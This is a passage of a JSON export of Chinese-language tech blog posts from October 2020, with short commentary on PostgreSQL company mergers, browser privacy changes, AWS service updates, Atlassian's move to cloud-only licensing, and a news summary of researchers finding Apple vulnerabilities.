    "body": "算是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 社群裡面的大事情，看到大老在討論 <a href=\"https://www.enterprisedb.com/\">EnterpriseDB</a> (EDB) 買下 <a href=\"https://www.2ndquadrant.com/\">2ndQuadrant</a> 的事情：「<a href=\"https://momjian.us/main/blogs/pgblog/2020.html#October_7_2020\">Community Impact of 2nd Quadrant Purchase</a>」，這兩家公司都是 PostgreSQL 社群裡面重量級的台柱。\r\n\r\n先翻了一下新聞稿，兩邊的官方新聞稿分別是「<a href=\"https://www.enterprisedb.com/blog/how-edb-became-leader-postgres-market\">How EDB Became the Leader in the Postgres Market</a>」與「<a href=\"https://www.2ndquadrant.com/en/blog/how-edb-became-the-leader-in-the-postgres-market/\">How EDB Became the Leader in the Postgres Market</a>」。\r\n\r\n回到原來的文章，裡面提到了 core team 的不成文規定，這個部份可以從 <a href=\"https://www.postgresql.org/community/contributors/\">Contributor Profiles</a> 這邊看到目前 core team 有五位成員，Peter Eisentraut 來自 2ndQuadrant，而 Bruce Momjian (這是文章作者自己) 與 Dave Page 則是來自 EnterpriseDB：\r\n\r\n<blockquote>First, there is an unwritten rule that the Postgres core team should not have over half of its members from a single company, and the acquisition causes edb's representation in the core team to be 60% — the core team is working on a solution for this.</blockquote>\r\n\r\n裡面有提到目前正在找辦法解決中，但不知道目前會怎麼解決，讓出位置可能是一個方法，加到七個人應該也是個方法，反正方法不算少，就等著看...\r\n\r\n另外他提出來的兩個問題我覺得都還好，就是併購本來就會發生的事情。\r\n\r\n這次的併購算是 PostgreSQL 社群裡面蠻熱鬧的事情，雖然是商業公司之間的併購，但社群這邊應該也會有不少變化...",
    "title": "EnterpriseDB 買下 2ndQuadrant"
  },
  {
    "id": "9744",
    "body": "<a href=\"https://privacybadger.org/\">Privacy Badger</a> 是一個自動學習的 extension，可以學習 tracker 並且予以阻擋：\r\n\r\n<blockquote>Privacy Badger automatically learns to block invisible trackers.</blockquote>\r\n\r\n而這個自動學習功能在剛剛看到公告說明預設會關閉：「<a href=\"https://www.eff.org/deeplinks/2020/10/privacy-badger-changing-protect-you-better\">Privacy Badger Is Changing to Protect You Better</a>」，主要是因為這個自動學習功能可以變成 fingerprint 資訊的一環：\r\n\r\n<blockquote>The team also alerted us to a class of attacks that were enabled by Privacy Badger’s learning. Essentially, since Privacy Badger adapts its behavior based on the way that sites you visit behave, a dedicated attacker could manipulate the way Privacy Badger acts: what it blocks and what it allows. In theory, this can be used to identify users (a form of fingerprinting) or to extract some kinds of information from the pages they visit. This is similar to the set of vulnerabilities that Safari’s Intelligent Tracking Prevention feature disclosed and patched late last year.</blockquote>\r\n\r\n所以現在變成會固定更新 pre-train ruleset 了：\r\n\r\n<blockquote>From now on, Privacy Badger will rely solely on its “Badger Sett” pre-trained list of tracking domains to perform blocking by default. Furthermore, Privacy Badger’s tracker database will be refreshed periodically with the latest pre-trained definitions. This means, moving forward, all Privacy Badgers will default to relying on the same learned list of trackers for blocking.</blockquote>\r\n\r\n當然這個功能還是可以手動開，但就有可能會被拿去 fingerprint 了，要開的人可以自己想一下... 不過不開的話就只是一個 ruleset 了 XD\r\n\r\n有用的人可以自己考慮一下 XD",
    "title": "Privacy Badger 預設關閉學習功能"
  },
  {
    "id": "9747",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的方式，<a href=\"https://simonwillison.net/\">Simon Willison</a> 利用了 <a href=\"https://github.com/features/actions\">GitHub Actions</a> 定時去抓資料更新 git repository：「<a href=\"https://simonwillison.net/2020/Oct/9/git-scraping/\">Git scraping: track changes over time by scraping to a Git repository</a>」。\r\n\r\n文章裡面測試了 JSON 檔案的變化：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/S21ebzb.webp\" /><img src=\"https://i.gslin.com/imgur/S21ebzb.png\" alt=\"\" /></picture>\r\n\r\n這個方式利用了 <a href=\"https://github.com/\">GitHub</a> 自家的架構做完所有的事情，因為他的範例是拉加州政府的資料，感覺 <a href=\"https://g0v.tw/\">g0v</a> 裡應該有些專案也用這個方式搞，翻了一下 <a href=\"https://telegram.org/\">Telegram</a> 上的記錄，果然翻到記錄了：「<a href=\"https://g0v.hackmd.io/pQWsEa--Qx-mMrieXz9xrg\">零營運費用開源開發</a>」。\r\n\r\n另外我猜用 <a href=\"https://free-for.dev/\">free-for.dev</a> 這邊的資源應該也有機會堆出類似的東西...",
    "title": "用 GitHub Actions 記錄 API 資料的變化"
  },
  {
    "id": "9749",
    "body": "先前提到的「<a href=\"https://blog.gslin.org/archives/2020/09/13/9706/libtorrent-%E5%AE%A3%E4%BD%88%E6%94%AF%E6%8F%B4-bittorrent-v2/\">libtorrent 宣佈支援 BitTorrent v2</a>」，<a href=\"https://www.biglybt.com/\">BiglyBT</a> 整合完了：「<a href=\"https://torrentfreak.com/biglybt-is-the-first-torrent-client-to-support-the-bittorrent-v2-spec-201011/\">BiglyBT is the First Torrent Client to Support the BitTorrent V2 Spec</a>」。\r\n\r\n看了一下 BiglyBT 的介紹，主要是因為當初 https://en.wikipedia.org/wiki/Vuze 變成 adware 之後分支出來的：\r\n\r\n<blockquote>BiglyBT is a feature filled, open source, ad-free, bittorrent client.\r\n\r\nBiglyBT is the continuation of the Vuze/Azureus open source project first created in 2003, and is being actively developed by the original coders.</blockquote>\r\n\r\n不過這是 Java 寫的 client，目前需求也不大，我自己應該還是會繼續等 <a href=\"https://www.qbittorrent.org/\">qBittorrent</a> 支援，看起來在這邊：「<a href=\"https://github.com/qbittorrent/qBittorrent/issues/13344\">BitTorrent v2 #13344</a>」，不過現在看起來沒什麼進展...",
    "title": "BiglyBT 支援 BitTorrent v2"
  },
  {
    "id": "9751",
    "body": "上個禮拜丟出來很轟動的一篇「side project」，三個月不斷的打穿蘋果的企業網路：「<a href=\"https://samcurry.net/hacking-apple/\">We Hacked Apple for 3 Months: Here’s What We Found</a>」，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論可以在「<a href=\"https://news.ycombinator.com/item?id=24718078\">We Hacked Apple for 3 Months (samcurry.net)</a>」這邊看到。\r\n\r\n在最後面有提到這本來是打好玩的，但後來就投入愈來愈多時間進去：\r\n\r\n<blockquote>This was originally meant to be a side project that we'd work on every once in a while, but with all of the extra free time with the pandemic we each ended up putting a few hundred hours into it.</blockquote>\r\n\r\n這是五個人通力合作打了三個月出來的成果，依照他們的回報數字，共打出了 55 個「洞」，考慮到週休的情況，幾乎是天天打洞出來玩：\r\n\r\n<blockquote>There were a total of 55 vulnerabilities discovered with 11 critical severity, 29 high severity, 13 medium severity, and 2 low severity reports. These severities were assessed by us for summarization purposes and are dependent on a mix of CVSS and our understanding of the business related impact.</blockquote>\r\n\r\n文章裡沒有對每個安裝漏洞都描述，但有針對一些比較「有趣」的漏洞說明，雖然看了以後知道是怎麼一回事，但對這些手法沒這麼熟，你叫我打我還是不會打啊 XDDD 反而是當作表演藝術來看...",
    "title": "打穿蘋果的企業網路"
  },
  {
    "id": "9752",
    "body": "去年提到的「<a href=\"https://blog.gslin.org/archives/2019/10/18/9252/google-chrome-%E8%A6%81%E8%97%89%E7%94%B1%E6%8B%86%E9%96%8B-http-cache-%E6%8F%90%E6%98%87%E9%9A%B1%E7%A7%81/\">Google Chrome 要藉由拆開 HTTP Cache 提昇隱私</a>」在最近推出的 Chrome 86 預設生效了：「<a href=\"https://www.zdnet.com/article/chrome-changes-how-its-cache-system-works-to-improve-privacy/\">Chrome changes how its cache system works to improve privacy</a>」。\r\n\r\n在 <a href=\"https://www.google.com/\">Google</a> 的文章「<a href=\"https://developers.google.com/web/updates/2020/10/http-cache-partitioning\">Gaining security and privacy by partitioning the cache</a>」這邊有提到不同瀏覽器都有打算要支援類似的架構，對應的差異：\r\n\r\n<blockquote>Is this standardized? Do other browsers behave differently?\r\n\r\n\"HTTP cache partitions\" is standardized in the fetch spec though browsers behave differently:\r\n\r\n<ul>\r\n\t<li>Chrome: Uses top-level scheme://eTLD+1 and frame scheme://eTLD+1</li>\r\n\t<li>Safari: Uses top-level eTLD+1</li>\r\n\t<li>Firefox: Planning to implement with top-level scheme://eTLD+1 and considering including a second key like Chrome</li>\r\n</ul></blockquote>\r\n\r\n文章裡面看到了有趣的東西，是他提到了 <a href=\"https://fetch.spec.whatwg.org/\">Fetch</a> 這個標準，然後是在「<a href=\"https://fetch.spec.whatwg.org/#http-cache-partitions\">2.7. HTTP cache partitions</a>」這邊出現了對應的說明：\r\n\r\n<blockquote>To determine the HTTP cache partition, given request, run these steps:\r\n\r\nLet key be the result of determining the network partition key given request.\r\n\r\nIf key is null, then return null.\r\n\r\nReturn the unique HTTP cache associated with key. [HTTP-CACHING]</blockquote>\r\n\r\n所以看起來是訂 Fetch 時寫下一套方法，然後拿來擴大套用到整個瀏覽器...",
    "title": "Google Chrome 的 Cache Partition 生效"
  },
  {
    "id": "9754",
    "body": "剛剛更新 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 後發現 address bar 又被動手腳了 (我是 beta channel 的版本)，在網址列上的 Protocol (Scheme) 與 <code>www</code> subdomain 不見了，而本來裝 <a href=\"https://chrome.google.com/webstore/detail/suspicious-site-reporter/jknemblkbdhdcpllfgbfekkdciegfboi\">Suspicious Site Reporter</a> 可以讓 URL bar 恢復的方式也失效了。\r\n\r\n翻了一下老問題「<a href=\"https://superuser.com/questions/1333575/chrome-address-bar-no-longer-shows-protocol-or-www-subdomain\">Chrome address bar no longer shows protocol or www subdomain</a>」，裡面有提到新的解法 (他寫的當下) 是「<a href=\"https://superuser.com/a/1498561/55746\">The current solution in Chrome 83+</a>」這個，直接在網址列上選右鍵，可以看到 Always show full URLs 這個選項，這是整個 Google Chrome 的選項，而非單一站台選項，選下去後就生效了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/it73MBz.webp\" /><img src=\"https://i.gslin.com/imgur/it73MBz.png\" alt=\"\" /></picture>\r\n\r\n而本來的 Suspicious Site Reporter 也可以拔掉了 (沒有用處了)。",
    "title": "Google Chrome 的顯示完整 URL 的方式又改了..."
  },
  {
    "id": "9756",
    "body": "在「<a href=\"https://www.osnews.com/story/132470/chrome-exempts-google-sites-from-user-site-data-settings/\">Chrome exempts Google sites from user site data settings</a>」這邊看到的新聞，引用的網頁是「<a href=\"https://lapcatsoftware.com/articles/chrome-google.html\">Chrome exempts Google sites from user site data settings</a>」，然後這篇也有上到 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上，所以 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也蠻熱鬧的：「<a href=\"https://news.ycombinator.com/item?id=24817304\">Chrome exempts Google sites from user site data settings (lapcatsoftware.com)</a>」。\r\n\r\n作者實際在 <a href=\"https://www.apple.com/macos/\">macOS</a> 上拿最新版的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> (86.0.4240.75) 測試，發現就算你針對 Google 自家的網站選了「Clear cookies and site data when you quit Chrome」，只有 cookie 會清掉，但 database storage、local storage 與 service workers 都不會被清掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/a1mxfyb.webp\" /><img src=\"https://i.gslin.com/imgur/a1mxfyb.png\" alt=\"\" /></picture>\r\n\r\n然後 <a href=\"https://brave.com/\">Brave</a> 那邊前陣子時做完 <a href=\"https://brave.com/sync-v2/\">Sync v2</a> 了，又是個機會看看那邊如何了... 結果發現在 2019 年的時候意外修正了一部分：「<a href=\"https://github.com/brave/brave-browser/issues/1127\">\"Keep local data only until you quit your browser\" only deletes cookies, not local storage #1127</a>」、「<a href=\"https://github.com/brave/brave-ios/pull/883\">Fixes: #870 Replaced logic to clear data with WebKit api. #883</a>」。",
    "title": "Google Chrome 在結束清站台資料時 (像是 cookie) 不會清 Google 自家的網站"
  },
  {
    "id": "9757",
    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 推出了 <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\">ARM</a> 的版本：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-rds-on-graviton2-processors/\">New – Amazon RDS on Graviton2 Processors</a>」，包含了 <a href=\"https://dev.mysql.com/\">MySQL</a>、<a href=\"https://mariadb.org/\">MariaDB</a> 與 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的版本都有支援，不過看起來需要比較新版的才能用：\r\n\r\n<blockquote>You can choose between M6g and R6g instance families and three database engines (MySQL 8.0.17 and higher, MariaDB 10.4.13 and higher, and PostgreSQL 12.3 and higher).</blockquote>\r\n\r\n官方宣稱可以提供 35% 的效能提昇，考慮費用的部份會有 52% 的 c/p 值提昇：\r\n\r\n<blockquote>Graviton2 instances provide up to 35% performance improvement and up to 52% price-performance improvement for RDS open source databases, based on internal testing of workloads with varying characteristics of compute and memory requirements.</blockquote>\r\n\r\n對於 RDS 這種純粹就是個服務的應用來說，感覺應該不會有什麼轉移成本，只要測過沒問題，換過去等於就是現賺的。看起來等 RI 約滿了就可以切...",
    "title": "RDS 推出 ARM 版本"
  },
  {
    "id": "9758",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://www.atlassian.com/\">Atlassian</a> 打算消滅 server 版本：「<a href=\"https://www.atlassian.com/migration/journey-to-cloud\">Moving to a cloud future, together</a>」。\r\n\r\n話說回來，之前工作時用 <a href=\"https://www.atlassian.com/software/jira\">Jira</a> 的時候 (雲端版本)，所有人都抱怨 Jira 慢到爆炸的問題不知道解了沒，當時記得每個按鍵都要 10+ 秒才會反應，不管是在台灣還是在香港都很慢，然後在公司反應了十個月也都沒什麼改善 XD\r\n\r\n至於官方說要推 cloud 版本的理由聽聽就好，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有些討論反而還蠻有趣的，像是講到裡面同時在維護 Cloud 與 Server 版本時遇到的問題，看起來團隊沒有足夠的能量處理這些東西：「<a href=\"https://news.ycombinator.com/item?id=24805748\">Atlassian moving to cloud-only, will stop selling server licenses (atlassian.com)</a>」。\r\n\r\n另外一個是討論裡面提到的替代方案，看起來也不算很好的替代方案啊，出現 <a href=\"https://www.mediawiki.org/\">MediaWiki</a> 作為 <a href=\"https://www.atlassian.com/software/confluence\">Confluence</a> 的替代品，少了 WYSIWYG 其實門檻高不少耶...\r\n\r\n來看看這波反應會有多大 XD",
    "title": "Atlassian 將消滅 Server 版本"
  },
  {
    "id": "9759",
    "body": "看到「<a href=\"https://www.percona.com/blog/2020/10/16/dbas-should-know-before-deploying-mongodb/\">5 Things DBAs Should Know Before Deploying MongoDB</a>」這篇，裡面給了五個建議，其中第五點頗有趣：\r\n\r\n<blockquote>5) Whenever Possible, Working Set &lt; RAM\r\n\r\nAs with any database, fitting your data into RAM will allow for faster reads than from disk.  MongoDB is no different.  Knowing how much data MongoDB has to read in for your queries can help you determine how much RAM you should allocate to your database.</blockquote>\r\n\r\n這樣的設計邏輯很奇怪啊，你不要扯其他 database 啊，你們家主力的 InnoDB 一直都沒有推薦要 Working Set &lt; RAM 啊，反過來才是用 InnoDB 的常態吧，而且在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上也是這樣吧 XDDD\r\n\r\n現在上面的文章真的是挑著看了... XD",
    "title": "Percona 對 MongoDB 的建議"
  },
  {
    "id": "9760",
    "body": "<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 推出了兩個新的產品。\r\n\r\n第一個是 <a href=\"https://www.boundaryproject.io/\">Boundary</a>，這個產品看起來還很早期，但看起來想要實做 <a href=\"https://en.wikipedia.org/wiki/BeyondCorp\">BeyondCorp</a> 的一些想法 (可以參考之前寫的「<a href=\"https://blog.gslin.org/archives/2017/06/25/7407/google-%E6%8E%A8%E7%9A%84-beyondcorp/\">Google 推的 BeyondCorp</a>」)：「<a href=\"https://www.boundaryproject.io/\">Announcing HashiCorp Boundary</a>」，這在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有討論串，而且 HashiCorp 的老大 <a href=\"http://mitchellh.com/\">Mitchell Hashimoto</a> 也有出來回答一些問題：「<a href=\"https://news.ycombinator.com/item?id=24778073\">HashiCorp Boundary (hashicorp.com)</a>」。\r\n\r\n這個產品讓他慢慢發展起來應該會是不錯的 open-source implementation，不過傳統的 castle 在小一點的場合也還算夠用...\r\n\r\n另外一個是 <a href=\"https://www.waypointproject.io/\">Waypoint</a>，看起來是個 CI/CD 類的產品：「<a href=\"https://www.hashicorp.com/blog/announcing-waypoint\">Announcing HashiCorp Waypoint</a>」，在 Hacker News 上也有討論串，而且同樣的 Mitchell Hashimoto 也有在裡面回覆一些東西：「<a href=\"https://news.ycombinator.com/item?id=24790055\">Waypoint: Build, deploy, and release applications across any platform (hashicorp.com)</a>」。\r\n\r\n我自己看了一下設定的方式以及一些畫面，然後再回頭看 Hacker News 上的討論，以目前得到的資訊來看，這個產品似乎沒有很明顯解決到痛點，也許就是補產品線...",
    "title": "HashiCorp 推出 Boundary 與 Waypoint"
  },
  {
    "id": "9761",
    "body": "看到這則新聞時決定讓子彈飛了一陣子，但好像沒看到什麼新消息：「<a href=\"https://www.politico.com/news/2020/10/10/feds-may-target-googles-chrome-browser-for-breakup-428468\">Feds may target Google’s Chrome browser for breakup</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論可以翻翻：「<a href=\"https://news.ycombinator.com/item?id=24743484\">Feds may target Google's Chrome browser for breakup (politico.com)</a>」。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 在 <a href=\"https://www.google.com/chrome\">Chrome</a> 上面做了不少看起來就很容易觸發反壟斷法的事情 (剛好這幾天又有像是「<a href=\"https://blog.gslin.org/archives/2020/10/19/9756/google-chrome-%e5%9c%a8%e7%b5%90%e6%9d%9f%e6%b8%85%e7%ab%99%e5%8f%b0%e8%b3%87%e6%96%99%e6%99%82-%e5%83%8f%e6%98%af-cookie-%e4%b8%8d%e6%9c%83%e6%b8%85-google-%e8%87%aa%e5%ae%b6%e7%9a%84%e7%b6%b2/\">Google Chrome 在結束清站台資料時 (像是 cookie) 不會清 Google 自家的網站</a>」這樣的事情)，會直接先把 Google Chrome 拆出來的消息不算太意外。\r\n\r\n不過大家對反壟斷調查更有興趣的應該是 <a href=\"https://www.youtube.com/\">YouTube</a> 會怎麼被處理。網路上經常會看到「如何逃離 Google」之類的文章，Google 很多服務都有其他平台可以提供，或是 open source 軟體可以使用，但每次一講到 YouTube 時大家都很頭痛，都會提到 YouTube 的難以取代性，因為目前其他平台沒有一個是堪用的...\r\n\r\n不知道什麼時候會發動調查...",
    "title": "有風聲說司法部會把 Chrome 拆出 Google"
  },
  {
    "id": "9763",
    "body": "看到 <a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 也支援 FIFO 模式了：「<a href=\"https://aws.amazon.com/blogs/aws/introducing-amazon-sns-fifo-first-in-first-out-pub-sub-messaging/\">Introducing Amazon SNS FIFO – First-In-First-Out Pub/Sub Messaging</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/sqs/\">Amazon SQS</a> 在 2016 年就已經先支援了：「<a href=\"https://blog.gslin.org/archives/2016/11/24/6974/amazon-sqs-%e6%94%af%e6%8f%b4-fifo-%e4%ba%86/\">Amazon SQS 支援 FIFO 了</a>」，官方的文件可以在「<a href=\"https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html\">Amazon SQS FIFO (First-In-First-Out) queues</a>」這邊翻到。\r\n\r\n在使用 FIFO mode 時與 SQS 有一樣的速度限制，每個 topic 只能到 300 TPS：\r\n\r\n<blockquote>You can use SNS FIFO topics in all commercial regions. You can process up to 300 transactions per second (TPS) per FIFO topic or FIFO queue. With SNS, you pay only for what you use, you can find more information in the pricing page.</blockquote>\r\n\r\n不過之前有需要保持順序的應用應該都先用 SQS workaround 了，不然就是自己搞能夠 FIFO 的 pub/sub 架構了。",
    "title": "Amazon SNS 也支援 FIFO 模式了"
  },
  {
    "id": "9764",
    "body": "先是看到「<a href=\"https://www.reuters.com/article/paypal-cryptocurrency/paypal-to-allow-cryptocurrency-buying-selling-and-shopping-on-its-network-idINL1N2HB14U\">PayPal to allow cryptocurrency buying, selling and shopping on its network</a>」這篇，另外翻到了 <a href=\"https://www.paypal.com/\">PayPal</a> 的新聞稿：「<a href=\"https://newsroom.paypal-corp.com/2020-10-21-PayPal-Launches-New-Service-Enabling-Users-to-Buy-Hold-and-Sell-Cryptocurrency\">PayPal Launches New Service Enabling Users to Buy, Hold and Sell Cryptocurrency</a>」。\r\n\r\n幾個比較重要的地方是，這次會提供的是 <a href=\"https://en.wikipedia.org/wiki/Bitcoin\">Bitcoin</a>、<a href=\"https://en.wikipedia.org/wiki/Ethereum\">Ethereum</a>、<a href=\"https://en.wikipedia.org/wiki/Bitcoin_Cash\">Bitcoin Cash</a> 以及 <a href=\"https://en.wikipedia.org/wiki/Litecoin\">Litecoin</a> 這四種：\r\n\r\n<blockquote>To increase consumer understanding and adoption of cryptocurrency, the company is introducing the ability to buy, hold and sell select cryptocurrencies, initially featuring Bitcoin, Ethereum, Bitcoin Cash and Litecoin, directly within the PayPal digital wallet.</blockquote>\r\n\r\n會先提供美國 PayPal 的使用者使用，然後再展到其他服務以及地區：\r\n\r\n<blockquote>The service will be available to PayPal accountholders in the U.S. in the coming weeks. The company plans to expand the features to Venmo and select international markets in the first half of 2021.</blockquote>\r\n\r\n另外這次的服務也不是自己跳進去搞，而是透過 <a href=\"https://www.paxos.com/\">Paxos Trust Company</a> 建立起防火牆，所以當加密貨幣那邊出包的時候大概就會切割出來：\r\n\r\n<blockquote>The service is enabled in the U.S. through a partnership with Paxos Trust Company, a regulated provider of cryptocurrency products and services.</blockquote>\r\n\r\n比較像是個嘗試，只是這個主題很適合發新聞稿...",
    "title": "PayPal 也要提供加密貨幣服務"
  },
  {
    "id": "9765",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上正妹 wens 問是不是用華碩的 <a href=\"https://www.asus.com/Graphics-Cards/GT710-4H-SL-2GD5\">GT710-4H-SL-2GD5</a> 這張顯示卡：「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=asus-50-gpu\">The Most Innovative ~$50 Graphics Card For Linux Users</a>」，看了一下是一張蠻有趣的顯示卡，而且價位還蠻有競爭力的，拉一篇出來記錄好了...\r\n\r\n我自己是用四螢幕，先前一直都是用 1080 Ti 在接 (2 HDMI + 2 DP)，但覺得好像太吃電，後來在網路上弄了一張有四個 miniDP 輸出的 <a href=\"https://en.wikipedia.org/wiki/Quadro\">Quadro</a> P600 顯示卡，另外又找了四條 miniDP 轉 DP 的線。\r\n\r\n換上去後發現有時候不是那麼順，後來發現是因為常常開一堆 <a href=\"https://www.twitch.tv/\">Twitch</a> 反而吃了不少 GPU 資源 (在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下可以用 nvidia-smi 觀察)，而且有時候還是希望跑個 <a href=\"https://github.com/lightvector/KataGo\">KataGo</a> 分析圍棋棋局，所以還是需要 GPU 計算能力，就換回用 1080 Ti 了...\r\n\r\n不過這張 GT710 是四個 HDMI，用一般的 HDMI 線就可以了，相較於 P600 提供的 miniDP 需要 miniDP 轉 DP 的線，取得上應該容易不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/H2kUzvV.webp\" /><img src=\"https://i.gslin.com/imgur/H2kUzvV.jpg\" alt=\"\" /></picture>\r\n\r\n另外他只需要 PCI Express 2.0 (x1) 而且是被動散熱，手上的 P600 得用到 PCI Express 3.0 (x16) 而且上面還是有一顆風扇，我猜 GT710 這張應該是更省電？不過官網上沒寫 GT710 這張的功耗，不過在「<a href=\"https://en.wikipedia.org/wiki/GeForce_700_series\">GeForce 700 series</a>」這邊是寫 19W，而 P600 的最大功耗是 40W。\r\n\r\n目前有看到的缺點應該是多顆 4K 解析度下時的更新頻率只有 30Hz：\r\n\r\n<blockquote>* Detailed digital max. resolution:\r\n3840×2160@60Hz for 1 monitor\r\n3840×2160@30Hz for more than 2 monitors</blockquote>\r\n\r\n對於想要有多螢幕輸出的人可以考慮看看，目前查到的價位上在新台幣 2000 上下，比 Quadro 便宜不少，畢竟定位還是不太一樣...",
    "title": "四個 HDMI 的顯示卡"
  },
  {
    "id": "9766",
    "body": "看到「<a href=\"https://bits.debian.org/2020/10/debian-donation-peertube.html\">Debian donation for Peertube development</a>」這則消息，<a href=\"https://www.debian.org/\">Debian</a> 決定資助 10K 歐元提供給 <a href=\"https://joinpeertube.org/\">PeerTube</a> 發展。\r\n\r\n不過更大的幫助應該是 PR 上的部份，這帶出來的曝光度以及「認可」的部份比 10K 歐元重要的多。\r\n\r\n回到 Debian 決定資助的原因，是因為 <a href=\"https://debconf20.debconf.org/\">DebConf20</a> 需要一個非封閉式平台的直播架構，而 PeerTube 看起來很適合這個情境：\r\n\r\n<blockquote>This year's iteration of the Debian annual conference, DebConf20, had to be held online, and while being a resounding success, it made clear to the project our need to have a permanent live streaming infrastructure for small events held by local Debian groups. As such, Peertube, a FLOSS video hosting platform, seems to be the perfect solution for us.</blockquote>\r\n\r\n前幾天在「<a href=\"https://blog.gslin.org/archives/2020/10/20/9761/%e6%9c%89%e9%a2%a8%e8%81%b2%e8%aa%aa%e5%8f%b8%e6%b3%95%e9%83%a8%e6%9c%83%e6%8a%8a-chrome-%e6%8b%86%e5%87%ba-google/\">有風聲說司法部會把 Chrome 拆出 Google</a>」這邊有提到 <a href=\"https://www.youtube.com/\">YouTube</a> 很難取代的問題，這個算是其中的一個方向，試著在解決平台壟斷的問題...",
    "title": "Debian 資助 PeerTube 發展"
  },
  {
    "id": "9768",
    "body": "<a href=\"https://aws.amazon.com/sns/\">Amazon SNS</a> 的簡訊功能可以申請固定發送號碼了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/10/amazon-sns-now-supports-selecting-the-origination-number-when-sending-sms-messages/\">Amazon SNS now supports selecting the origination number when sending SMS messages</a>」。\r\n\r\n固定的號碼包括了短碼與長碼：「<a href=\"https://docs.aws.amazon.com/sns/latest/dg/channels-sms-awssupport-short-code.html\">Requesting dedicated short codes for SMS messaging with Amazon SNS</a>」、「<a href=\"https://docs.aws.amazon.com/sns/latest/dg/channels-sms-awssupport-long-code.html\">Requesting dedicated long codes for SMS messaging with Amazon SNS</a>」。\r\n\r\n短碼是三到七碼，依照地區而有差異：\r\n\r\n<blockquote>A short code typically contains between three and seven digits, depending on the country or region that it's based in.</blockquote>\r\n\r\n要注意的是短碼的部份需要開 support case 申請，而不是直接在 web console 上操作：\r\n\r\n<blockquote>Open a case with AWS Support by completing the following steps.</blockquote>\r\n\r\n長碼則是有可能到 12 碼，依照不同地區的設計有所不同：\r\n\r\n<blockquote>A long code (also referred to as a long virtual number, or LVN) is a standard phone number that contains up to 12 digits, depending on the country that it's based in.</blockquote>\r\n\r\n不過現在長碼的部份只有美國可以用，而且有速率限制：\r\n\r\n<blockquote>Support for long codes is restricted to the United States only. Sending rates for long codes are restricted to 1 message per second. This restriction is set by the telecom carriers, and isn't a limitation of Amazon SNS. If you send a large volume of messages from a long code, wireless carriers might begin to block your messages. Your applications that use Amazon SNS should limit the number of messages that they send each second.</blockquote>\r\n\r\n說道 Amazon SNS 送簡訊的費用，實在不怎麼好看，量小加減用 (包在 <a href=\"https://aws.amazon.com/\">AWS</a> 費用裡，省人力另外跑請款的單子)，量大還是要找其他家接比較划算...",
    "title": "用 Amazon SNS 送簡訊可以固定發送號碼了"
  },
  {
    "id": "9769",
    "body": "前幾天看到 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://aws.amazon.com/\">AWS</a> 都釋出往 <a href=\"https://opentelemetry.io/\">OpenTelemetry</a> 靠攏的消息：「<a href=\"https://opensource.googleblog.com/2020/10/opentelemetrys-first-release-candidates.html\">OpenTelemetry's First Release Candidates</a>」以及「<a href=\"https://aws.amazon.com/blogs/aws/public-preview-aws-distro-open-telemetry/\">Public Preview – AWS Distro for OpenTelemetry</a>」。\r\n\r\nAWS 這邊的 <a href=\"https://aws.amazon.com/xray/\">AWS X-Ray</a> 看起來跟 OpenTelemetry 有點關係，找了一下果然發現之前有些計畫在跑：「<a href=\"https://github.com/awslabs/aws-xray-sdk-with-opentelemetry\">AWS X-Ray SDK w/ OpenTelemetry API</a>」，不過看起來後續應該是由「<a href=\"https://aws-otel.github.io/\">AWS Distro for OpenTelemetry</a>」這個計畫接手了。\r\n\r\n另外 Google 這邊看起來則是 <a href=\"https://cloud.google.com/trace/\">Cloud Trace</a> 這個產品線，本來在推的 <a href=\"https://opencensus.io/\">OpenCensus</a> 與 <a href=\"https://opentracing.io/\">OpenTracing</a> 從網站上可以看到決定會再支援兩年，但重心會改放到 OpenTelemetry 上：\r\n\r\n<blockquote>OpenCensus and OpenTracing have merged to form OpenTelemetry, which serves as the next major version of OpenCensus and OpenTracing. OpenTelemetry will offer backwards compatibility with existing OpenCensus integrations, and we will continue to make security patches to existing OpenCensus libraries for two years.</blockquote>\r\n\r\n翻了一下 <a href=\"https://azure.microsoft.com/\">Azure</a> 相關的消息，先前有一些稿子是會往 OpenTelemetry 支援，但這一波沒看到新聞稿...",
    "title": "Google 與 AWS 都釋出往 OpenTelemetry 靠攏的消息"
  },
  {
    "id": "9771",
